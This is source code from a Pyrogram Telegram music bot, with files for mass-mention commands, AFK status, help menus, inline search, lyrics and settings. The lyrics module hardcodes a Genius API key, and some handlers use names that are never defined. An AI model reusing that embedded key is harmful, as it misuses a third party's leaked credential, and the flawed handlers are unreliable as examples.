𝐓𝙷𝙾𝚁𝙰 𝐃𝙴𝚁 𝐊𝙰𝚁 𝐋𝙾 𝐍𝙰🙂**", ] @app.on_message(filters.command(["tagall"], prefixes=["/", "@", ".", "#"])) async def mentionall(client, message): chat_id = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply("𝐓𝐡𝐢𝐬 𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐎𝐧𝐥𝐲 𝐅𝐨𝐫 𝐆𝐫𝐨𝐮𝐩𝐬.") is_admin = False try: participant = await client.get_chat_member(chat_id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 . ") if message.reply_to_message and message.text: return await message.reply("/tagall 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ") elif message.text: mode = "text_on_cmd" msg = message.text elif message.reply_to_message: mode = "text_on_reply" msg = message.reply_to_message if not msg: return await message.reply("/tagall 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ...") else: return await message.reply("/tagall 𝐓𝐲𝐩𝐞 𝐋𝐢𝐤𝐞 𝐓𝐡𝐢𝐬 / 𝐑𝐞𝐩𝐥𝐲 𝐀𝐧𝐲 𝐌𝐞𝐬𝐬𝐚𝐠𝐞 𝐍𝐞𝐱𝐭 𝐓𝐢𝐦𝐞 ..") if chat_id in spam_chats: return await message.reply("𝐏𝐥𝐞𝐚𝐬𝐞 𝐀𝐭 𝐅𝐢𝐫𝐬𝐭 𝐒𝐭𝐨𝐩 𝐑𝐮𝐧𝐧𝐢𝐧𝐠 𝐏𝐫𝐨𝐜𝐞𝐬𝐬 ...") spam_chats.append(chat_id) usrnum = 0 usrtxt = "" async for usr in client.get_chat_members(chat_id): if not chat_id in spam_chats: break if usr.user.is_bot: continue usrnum += 1 usrtxt += "{}".format(usr.user.id, usr.user.first_name) if usrnum == 1: if mode == "text_on_cmd": txt = f"{usrtxt} {random.choice(TAGMES)}" await client.send_message(chat_id, txt) elif mode == "text_on_reply": await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})") await asyncio.sleep(4) usrnum = 0 usrtxt = "" try: spam_chats.remove(chat_id) except: pass @app.on_message(filters.command(["tagoff", "tagstop"])) async def cancel_spam(client, message): if not message.chat.id in spam_chats: return await message.reply("𝐂𝐮𝐫𝐫𝐞𝐧𝐭𝐥𝐲 𝐈'𝐦 𝐍𝐨𝐭 ..") is_admin = False try: participant = await client.get_chat_member(message.chat.id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("𝐘𝐨𝐮 𝐀𝐫𝐞 𝐍𝐨𝐭 𝐀𝐝𝐦𝐢𝐧 𝐁𝐚𝐛𝐲, 𝐎𝐧𝐥𝐲 𝐀𝐝𝐦𝐢𝐧𝐬 𝐂𝐚𝐧 𝐓𝐚𝐠 𝐌𝐞𝐦𝐛𝐞𝐫𝐬.") else: try: spam_chats.remove(message.chat.id) except: pass return await message.reply("🌷 𝐁𝐑𝐀𝐍𝐃𝐄𝐃 𝐓𝐀𝐆 𝐀𝐋𝐋 𝐏𝐑𝐎𝐂𝐄𝐒𝐒 𝐒𝐓𝐎𝐏𝐏𝐄𝐃 🎉") ================================================ FILE: BrandrdXMusic/plugins/admins/utag.py ================================================ import asyncio import random from pyrogram import Client, filters from pyrogram.enums import ChatType from pyrogram.enums import ChatType, ChatMemberStatus from pyrogram.errors import UserNotParticipant from pyrogram.types import ChatPermissions from BrandrdXMusic import app from BrandrdXMusic.utils.branded_ban import admin_filter SPAM_CHATS = {} @app.on_message( filters.command(["utag", "uall"], prefixes=["/", "@", ".", "#"]) & admin_filter ) async def tag_all_users(_, message): global SPAM_CHATS chat_id = message.chat.id if len(message.text.split()) == 1: await message.reply_text( "** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@utag Hi Friends`" ) return text = message.text.split(None, 1)[1] if text: await message.reply_text( "**ᴜᴛᴀɢ [ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢ] sᴛᴀʀᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ!**\n\n**๏ ᴛᴀɢɢɪɴɢ ᴡɪᴛʜ sʟᴇᴇᴘ ᴏғ 7 sᴇᴄ.**\n\n**➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /stoputag**" ) SPAM_CHATS[chat_id] = True f = True while f: if SPAM_CHATS.get(chat_id) == False: await message.reply_text("**ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢɢɪɴɢ sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ.**") break usernum = 0 usertxt = "" try: async for m in app.get_chat_members(message.chat.id): if m.user.is_bot: continue usernum += 1 usertxt += f"\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\n" if usernum == 5: await app.send_message( message.chat.id, f"{text}\n{usertxt}\n\n|| ➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /stoputag ||", ) usernum = 0 usertxt = "" await asyncio.sleep(7) except Exception as e: print(e) @app.on_message( filters.command( ["stoputag", "stopuall", "offutag", "offuall", "utagoff", "ualloff"], prefixes=["/", ".", "@", "#"], ) & admin_filter ) async def stop_tagging(_, message): global SPAM_CHATS chat_id = message.chat.id if SPAM_CHATS.get(chat_id) == True: SPAM_CHATS[chat_id] = False return await message.reply_text("**ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ sᴛᴏᴘᴘɪɴɢ ᴜɴʟɪᴍɪᴛᴇᴅ ᴛᴀɢɢɪɴɢ...**") else: await message.reply_text("**ᴜᴛᴀɢ ᴘʀᴏᴄᴇss ɪs ɴᴏᴛ ᴀᴄᴛɪᴠᴇ**") ================================================ FILE: BrandrdXMusic/plugins/bot/afk.py ================================================ import time, re from pyrogram.enums import MessageEntityType from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.mongo.readable_time import get_readable_time from BrandrdXMusic.mongo.afkdb import add_afk, is_afk, remove_afk @app.on_message(filters.command(["afk", "brb"], prefixes=["/", "!"])) async def active_afk(_, message: Message): if message.sender_chat: return user_id = message.from_user.id verifier, reasondb = await is_afk(user_id) if verifier: await remove_afk(user_id) try: afktype = reasondb["type"] timeafk = reasondb["time"] data = reasondb["data"] reasonafk = reasondb["reason"] seenago = get_readable_time((int(time.time() - timeafk))) if afktype == "text": send = await message.reply_text( f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}", disable_web_page_preview=True, ) if afktype == "text_reason": send = await message.reply_text( f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`", disable_web_page_preview=True, ) if afktype == "animation": if str(reasonafk) == "None": send = await message.reply_animation( data, caption=f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}", ) else: send = await message.reply_animation( data, caption=f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`", ) if afktype == "photo": if str(reasonafk) == "None": send = await message.reply_photo( photo=f"downloads/{user_id}.jpg", caption=f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}", ) else: send = await message.reply_photo( photo=f"downloads/{user_id}.jpg", caption=f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`", ) except Exception: send = await message.reply_text( f"**{message.from_user.first_name}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ", disable_web_page_preview=True, ) if len(message.command) == 1 and not message.reply_to_message: details = { "type": "text", "time": time.time(), "data": None, "reason": None, } elif len(message.command) > 1 and not message.reply_to_message: _reason = (message.text.split(None, 1)[1].strip())[:100] details = { "type": "text_reason", "time": time.time(), "data": None, "reason": _reason, } elif len(message.command) == 1 and message.reply_to_message.animation: _data = message.reply_to_message.animation.file_id details = { "type": "animation", "time": time.time(), "data": _data, "reason": None, } elif len(message.command) > 1 and message.reply_to_message.animation: _data = message.reply_to_message.animation.file_id _reason = (message.text.split(None, 1)[1].strip())[:100] details = { "type": "animation", "time": time.time(), "data": _data, "reason": _reason, } elif len(message.command) == 1 and message.reply_to_message.photo: await app.download_media(message.reply_to_message, file_name=f"{user_id}.jpg") details = { "type": "photo", "time": time.time(), "data": None, "reason": None, } elif len(message.command) > 1 and message.reply_to_message.photo: await app.download_media(message.reply_to_message, file_name=f"{user_id}.jpg") _reason = message.text.split(None, 1)[1].strip() details = { "type": "photo", "time": time.time(), "data": None, "reason": _reason, } elif len(message.command) == 1 and message.reply_to_message.sticker: if message.reply_to_message.sticker.is_animated: details = { "type": "text", "time": time.time(), "data": None, "reason": None, } else: await app.download_media( message.reply_to_message, file_name=f"{user_id}.jpg" ) details = { "type": "photo", "time": time.time(), "data": None, "reason": None, } elif len(message.command) > 1 and message.reply_to_message.sticker: _reason = (message.text.split(None, 1)[1].strip())[:100] if message.reply_to_message.sticker.is_animated: details = { "type": "text_reason", "time": time.time(), "data": None, "reason": _reason, } else: await app.download_media( message.reply_to_message, file_name=f"{user_id}.jpg" ) details = { "type": "photo", "time": time.time(), "data": None, "reason": _reason, } else: details = { "type": "text", "time": time.time(), "data": None, "reason": None, } await add_afk(user_id, details) await message.reply_text(f"{message.from_user.first_name} ɪs ɴᴏᴡ ᴀғᴋ!") chat_watcher_group = 1 @app.on_message( ~filters.me & ~filters.bot & ~filters.via_bot, group=chat_watcher_group, ) async def chat_watcher_func(_, message): if message.sender_chat: return userid = message.from_user.id user_name = message.from_user.first_name if message.entities: possible = ["/afk", f"/afk@{app.username}"] message_text = message.text or message.caption for entity in message.entities: if entity.type == MessageEntityType.BOT_COMMAND: if (message_text[0 : 0 + entity.length]).lower() in possible: return msg = "" replied_user_id = 0 verifier, reasondb = await is_afk(userid) if verifier: await remove_afk(userid) try: afktype = reasondb["type"] timeafk = reasondb["time"] data = reasondb["data"] reasonafk = reasondb["reason"] seenago = get_readable_time((int(time.time() - timeafk))) if afktype == "text": msg += f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\n" if afktype == "text_reason": msg += f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n" if afktype == "animation": if str(reasonafk) == "None": send = await message.reply_animation( data, caption=f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\n", ) else: send = await message.reply_animation( data, caption=f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n", ) if afktype == "photo": if str(reasonafk) == "None": send = await message.reply_photo( photo=f"downloads/{userid}.jpg", caption=f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\n", ) else: send = await message.reply_photo( photo=f"downloads/{userid}.jpg", caption=f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ ᴀɴᴅ ᴡᴀs ᴀᴡᴀʏ ғᴏʀ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n", ) except: msg += f"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ\n\n" if message.reply_to_message: try: replied_first_name = message.reply_to_message.from_user.first_name replied_user_id = message.reply_to_message.from_user.id verifier, reasondb = await is_afk(replied_user_id) if verifier: try: afktype = reasondb["type"] timeafk = reasondb["time"] data = reasondb["data"] reasonafk = reasondb["reason"] seenago = get_readable_time((int(time.time() - timeafk))) if afktype == "text": msg += ( f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n" ) if afktype == "text_reason": msg += f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n" if afktype == "animation": if str(reasonafk) == "None": send = await message.reply_animation( data, caption=f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n", ) else: send = await message.reply_animation( data, caption=f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n", ) if afktype == "photo": if str(reasonafk) == "None": send = await message.reply_photo( photo=f"downloads/{replied_user_id}.jpg", caption=f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n", ) else: send = await message.reply_photo( photo=f"downloads/{replied_user_id}.jpg", caption=f"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n", ) except Exception: msg += f"**{replied_first_name}** ɪs ᴀғᴋ,\nᴩᴀᴛᴀ ɴɪ ʙᴄ ᴋᴀʙ sᴇ\n\n" except: pass if message.entities: entity = message.entities j = 0 for x in range(len(entity)): if (entity[j].type) == MessageEntityType.MENTION: found = re.findall("@([_0-9a-zA-Z]+)", message.text) try: get_user = found[j] user = await app.get_users(get_user) if user.id == replied_user_id: j += 1 continue except: j += 1 continue verifier, reasondb = await is_afk(user.id) if verifier: try: afktype = reasondb["type"] timeafk = reasondb["time"] data = reasondb["data"] reasonafk = reasondb["reason"] seenago = get_readable_time((int(time.time() - timeafk))) if afktype == "text": msg += ( f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n" ) if afktype == "text_reason": msg += f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n" if afktype == "animation": if str(reasonafk) == "None": send = await message.reply_animation( data, caption=f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n", ) else: send = await message.reply_animation( data, caption=f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n", ) if afktype == "photo": if str(reasonafk) == "None": send = await message.reply_photo( photo=f"downloads/{user.id}.jpg", caption=f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n", ) else: send = await message.reply_photo( photo=f"downloads/{user.id}.jpg", caption=f"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n", ) except: msg += f"**{user.first_name[:25]}** ɪs ᴀғᴋ\n\n" elif (entity[j].type) == MessageEntityType.TEXT_MENTION: try: user_id = entity[j].user.id if user_id == replied_user_id: j += 1 continue first_name = entity[j].user.first_name except: j += 1 continue verifier, reasondb = await is_afk(user_id) if verifier: try: afktype = reasondb["type"] timeafk = reasondb["time"] data = reasondb["data"] reasonafk = reasondb["reason"] seenago = get_readable_time((int(time.time() - timeafk))) if afktype == "text": msg += f"**{first_name[:25]}** is ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n" if afktype == "text_reason": msg += f"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n" if afktype == "animation": if str(reasonafk) == "None": send = await message.reply_animation( data, caption=f"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n", ) else: send = await message.reply_animation( data, caption=f"**{first_name[:25]}** ɪs AFK sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n", ) if afktype == "photo": if str(reasonafk) == "None": send = await message.reply_photo( photo=f"downloads/{user_id}.jpg", caption=f"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\n", ) else: send = await message.reply_photo( photo=f"downloads/{user_id}.jpg", caption=f"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\n\nʀᴇᴀsᴏɴ: `{reasonafk}`\n\n", ) except: msg += f"**{first_name[:25]}** ɪs ᴀғᴋ\n\n" j += 1 if msg != "": try: send = await message.reply_text(msg, disable_web_page_preview=True) except: return ================================================ FILE: BrandrdXMusic/plugins/bot/help.py ================================================ from typing import Union from pyrogram import filters, types from pyrogram.types import InlineKeyboardMarkup, Message, InlineKeyboardButton from BrandrdXMusic import app from BrandrdXMusic.utils import help_pannel from BrandrdXMusic.utils.database import get_lang from BrandrdXMusic.utils.decorators.language import LanguageStart, languageCB from BrandrdXMusic.utils.inline.help import help_back_markup, private_help_panel from config import BANNED_USERS, START_IMG_URL, SUPPORT_CHAT from strings import get_string, helpers from BrandrdXMusic.utils.stuffs.buttons import BUTTONS from BrandrdXMusic.utils.stuffs.helper import Helper @app.on_message(filters.command(["help"]) & filters.private & ~BANNED_USERS) @app.on_callback_query(filters.regex("settings_back_helper") & ~BANNED_USERS) async def helper_private( client: app, update: Union[types.Message, types.CallbackQuery] ): is_callback = isinstance(update, types.CallbackQuery) if is_callback: try: await update.answer() except: pass chat_id = update.message.chat.id language = await get_lang(chat_id) _ = get_string(language) keyboard = help_pannel(_, True) await update.edit_message_text( _["help_1"].format(SUPPORT_CHAT), reply_markup=keyboard ) else: try: await update.delete() except: pass language = await get_lang(update.chat.id) _ = get_string(language) keyboard = help_pannel(_) await update.reply_video( video="https://graph.org/file/84d30d4fd04570c0e0256.mp4", caption=_["help_1"].format(SUPPORT_CHAT), reply_markup=keyboard) @app.on_message(filters.command(["help"]) & filters.group & ~BANNED_USERS) @LanguageStart async def help_com_group(client, message: Message, _): keyboard = private_help_panel(_) await message.reply_video( video="https://te.legra.ph/file/51293513e6af319726fe7.mp4", caption=_["help_2"], reply_markup=InlineKeyboardMarkup(keyboard) ) @app.on_callback_query(filters.regex("help_callback") & ~BANNED_USERS) @languageCB async def helper_cb(client, CallbackQuery, _): callback_data = CallbackQuery.data.strip() cb = callback_data.split(None, 1)[1] keyboard = help_back_markup(_) if cb == "hb1": await CallbackQuery.edit_message_text(helpers.HELP_1, reply_markup=keyboard) elif cb == "hb2": await CallbackQuery.edit_message_text(helpers.HELP_2, reply_markup=keyboard) elif cb == "hb3": await CallbackQuery.edit_message_text(helpers.HELP_3, reply_markup=keyboard) elif cb == "hb4": await CallbackQuery.edit_message_text(helpers.HELP_4, reply_markup=keyboard) elif cb == "hb5": await CallbackQuery.edit_message_text(helpers.HELP_5, reply_markup=keyboard) elif cb == "hb6": await CallbackQuery.edit_message_text(helpers.HELP_6, reply_markup=keyboard) elif cb == "hb7": await CallbackQuery.edit_message_text(helpers.HELP_7, reply_markup=keyboard) elif cb == "hb8": await CallbackQuery.edit_message_text(helpers.HELP_8, reply_markup=keyboard) elif cb == "hb9": await CallbackQuery.edit_message_text(helpers.HELP_9, reply_markup=keyboard) elif cb == "hb10": await CallbackQuery.edit_message_text(helpers.HELP_10, reply_markup=keyboard) elif cb == "hb11": await CallbackQuery.edit_message_text(helpers.HELP_11, reply_markup=keyboard) elif cb == "hb12": await CallbackQuery.edit_message_text(helpers.HELP_12, reply_markup=keyboard) elif cb == "hb13": await CallbackQuery.edit_message_text(helpers.HELP_13, reply_markup=keyboard) elif cb == "hb14": await CallbackQuery.edit_message_text(helpers.HELP_14, reply_markup=keyboard) elif cb == "hb15": await CallbackQuery.edit_message_text(helpers.HELP_15, reply_markup=keyboard) @app.on_callback_query(filters.regex("mbot_cb") & ~BANNED_USERS) async def helper_cb(client, CallbackQuery): await CallbackQuery.edit_message_text(Helper.HELP_M, reply_markup=InlineKeyboardMarkup(BUTTONS.MBUTTON)) @app.on_callback_query(filters.regex('managebot123')) async def on_back_button(client, CallbackQuery): callback_data = CallbackQuery.data.strip() cb = callback_data.split(None, 1)[1] keyboard = help_pannel(_, True) if cb == "settings_back_helper": await CallbackQuery.edit_message_text( _["help_1"].format(SUPPORT_CHAT), reply_markup=keyboard ) @app.on_callback_query(filters.regex('mplus')) async def mb_plugin_button(client, CallbackQuery): callback_data = CallbackQuery.data.strip() cb = callback_data.split(None, 1)[1] keyboard = InlineKeyboardMarkup([[InlineKeyboardButton("ʙᴀᴄᴋ", callback_data=f"mbot_cb")]]) if cb == "Okieeeeee": await CallbackQuery.edit_message_text(f"`something errors`",reply_markup=keyboard,parse_mode=enums.ParseMode.MARKDOWN) else: await CallbackQuery.edit_message_text(getattr(Helper, cb), reply_markup=keyboard) ================================================ FILE: BrandrdXMusic/plugins/bot/inline.py ================================================ from pyrogram.types import ( InlineKeyboardButton, InlineKeyboardMarkup, InlineQueryResultPhoto, ) from youtubesearchpython.__future__ import VideosSearch from BrandrdXMusic import app from BrandrdXMusic.utils.inlinequery import answer from config import BANNED_USERS @app.on_inline_query(~BANNED_USERS) async def inline_query_handler(client, query): text = query.query.strip().lower() answers = [] if text.strip() == "": try: await client.answer_inline_query(query.id, results=answer, cache_time=10) except: return else: a = VideosSearch(text, limit=20) result = (await a.next()).get("result") for x in range(15): title = (result[x]["title"]).title() duration = result[x]["duration"] views = result[x]["viewCount"]["short"] thumbnail = result[x]["thumbnails"][0]["url"].split("?")[0] channellink = result[x]["channel"]["link"] channel = result[x]["channel"]["name"] link = result[x]["link"] published = result[x]["publishedTime"] description = f"{views} | {duration} ᴍɪɴᴜᴛᴇs | {channel} | {published}" buttons = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="ʏᴏᴜᴛᴜʙᴇ 🎄", url=link, ) ], ] ) searched_text = f""" ❄ ᴛɪᴛʟᴇ : {title}ᴅᴜʀᴀᴛɪᴏɴ : {duration} ᴍɪɴᴜᴛᴇs 👀 ᴠɪᴇᴡs : {views} 🎥 ᴄʜᴀɴɴᴇʟ : {channel}ᴘᴜʙʟɪsʜᴇᴅ ᴏɴ : {published} ➻ ɪɴʟɪɴᴇ sᴇᴀʀᴄʜ ᴍᴏᴅᴇ ʙʏ {app.name}""" answers.append( InlineQueryResultPhoto( photo_url=thumbnail, title=title, thumb_url=thumbnail, description=description, caption=searched_text, reply_markup=buttons, ) ) try: return await client.answer_inline_query(query.id, results=answers) except: return ================================================ FILE: BrandrdXMusic/plugins/bot/lyrics.py ================================================ import random import re import string import lyricsgenius as lg from pyrogram import Client, filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message from BrandrdXMusic import app from BrandrdXMusic.utils.decorators.language import language from config import BANNED_USERS, lyrical api_key = "fcXGwudRZTE8zdMOYKNMoRGIWfBjca_4s5wF5keHeCTd68yURmceO4MGhAbyx-qp" y = lg.Genius( api_key, skip_non_songs=True, excluded_terms=["(Remix)", "(Live)"], remove_section_headers=True, ) y.verbose = False @app.on_message(filters.command(["lyrics"]) & ~BANNED_USERS) async def lrsearch(client, message: Message): if len(message.command) < 2: return await message.reply_text(_["lyrics_1"]) title = message.text.split(None, 1)[1] m = await message.reply_text(_["lyrics_2"]) S = y.search_song(title, get_full_info=False) if S is None: return await m.edit(_["lyrics_3"].format(title)) ran_hash = "".join(random.choices(string.ascii_uppercase + string.digits, k=10)) lyric = S.lyrics if "Embed" in lyric: lyric = re.sub(r"\d*Embed", "", lyric) lyrical[ran_hash] = lyric upl = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text=_["L_B_1"], url=f"https://t.me/{app.username}?start=lyrics_{ran_hash}", ), ] ] ) await m.edit(_["lyrics_4"], reply_markup=upl) ================================================ FILE: BrandrdXMusic/plugins/bot/settings.py ================================================ from pyrogram import filters from pyrogram.enums import ChatType from pyrogram.errors import MessageNotModified from pyrogram.types import ( CallbackQuery, InlineKeyboardButton, InlineKeyboardMarkup, Message, InputMediaPhoto, InputMediaVideo, ) from BrandrdXMusic import app from BrandrdXMusic.utils.database import ( add_nonadmin_chat, get_authuser, get_authuser_names, get_playmode, get_playtype, get_upvote_count, is_nonadmin_chat, is_skipmode, remove_nonadmin_chat, set_playmode, set_playtype, set_upvotes, skip_off, skip_on, ) from BrandrdXMusic.utils.decorators.admins import ActualAdminCB from BrandrdXMusic.utils.decorators.language import language, languageCB from BrandrdXMusic.utils.inline.settings import ( auth_users_markup, playmode_users_markup, setting_markup, vote_mode_markup, ) from BrandrdXMusic.utils.inline.start import private_panel from config import BANNED_USERS, OWNER_ID, MUSIC_BOT_NAME, START_IMG_URL @app.on_message( filters.command(["settings", "setting"]) & filters.group & ~BANNED_USERS ) @language async def settings_mar(client, message: Message, _): buttons = setting_markup(_) await message.reply_text( _["setting_1"].format(app.mention, message.chat.id, message.chat.title), reply_markup=InlineKeyboardMarkup(buttons), ) @app.on_callback_query(filters.regex("gib_source") & ~BANNED_USERS) @languageCB async def gib_repo(client, CallbackQuery, _): await CallbackQuery.edit_message_media( InputMediaVideo("https://te.legra.ph/file/ef47f077b671f69f8d8f0.mp4"), reply_markup=InlineKeyboardMarkup( [[InlineKeyboardButton(text="ʙᴀᴄᴋ", callback_data=f"settingsback_helper")]] ), ) @app.on_callback_query( filters.regex("settings_helper") & ~BANNED_USERS ) @languageCB async def settings_cb(client, CallbackQuery, _): try: await CallbackQuery.answer(_["set_cb_5"]) except: pass buttons = setting_markup(_) return await CallbackQuery.edit_message_text( _["setting_1"].format( CallbackQuery.message.chat.title, CallbackQuery.message.chat.id, ), reply_markup=InlineKeyboardMarkup(buttons), ) @app.on_callback_query(filters.regex("settingsback_helper") & ~BANNED_USERS) @languageCB async def settings_back_markup(client, CallbackQuery: CallbackQuery, _): try: await CallbackQuery.answer() except: pass if CallbackQuery.message.chat.type == ChatType.PRIVATE: await app.resolve_peer(OWNER_ID) OWNER = OWNER_ID buttons = private_panel(_) return await CallbackQuery.edit_message_media( InputMediaPhoto( media=START_IMG_URL, caption=_["start_2"].format( CallbackQuery.from_user.first_name, app.mention), ), reply_markup=InlineKeyboardMarkup(buttons), ) else: buttons = setting_markup(_) return await CallbackQuery.edit_message_reply_markup( reply_markup=InlineKeyboardMarkup(buttons) ) @app.on_callback_query( filters.regex( pattern=r"^(SEARCHANSWER|PLAYMODEANSWER|PLAYTYPEANSWER|AUTHANSWER|ANSWERVOMODE|VOTEANSWER|PM|AU|VM)$" ) & ~BANNED_USERS ) @languageCB async def without_Admin_rights(client, CallbackQuery, _): command = CallbackQuery.matches[0].group(1) if command == "SEARCHANSWER": try: return await CallbackQuery.answer(_["setting_2"], show_alert=True) except: return if command == "PLAYMODEANSWER": try: return await CallbackQuery.answer(_["setting_5"], show_alert=True) except: return if command == "PLAYTYPEANSWER": try: return await CallbackQuery.answer(_["setting_6"], show_alert=True) except: return if command == "AUTHANSWER": try: return await CallbackQuery.answer(_["setting_3"], show_alert=True) except: return if command == "VOTEANSWER": try: return await CallbackQuery.answer( _["setting_8"], show_alert=True, ) except: return if command == "ANSWERVOMODE": current = await get_upvote_count(CallbackQuery.message.chat.id) try: return await CallbackQuery.answer( _["setting_9"].format(current), show_alert=True, ) except: return if command == "PM": try: await CallbackQuery.answer(_["set_cb_2"], show_alert=True) except: pass playmode = await get_playmode(CallbackQuery.message.chat.id) if playmode == "Direct": Direct = True else: Direct = None is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: Group = True else: Group = None playty = await get_playtype(CallbackQuery.message.chat.id) if playty == "Everyone": Playtype = None else: Playtype = True buttons = playmode_users_markup(_, Direct, Group, Playtype) if command == "AU": try: await CallbackQuery.answer(_["set_cb_1"], show_alert=True) except: pass is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id) if not is_non_admin: buttons = auth_users_markup(_, True) else: buttons = auth_users_markup(_) if command == "VM": mode = await 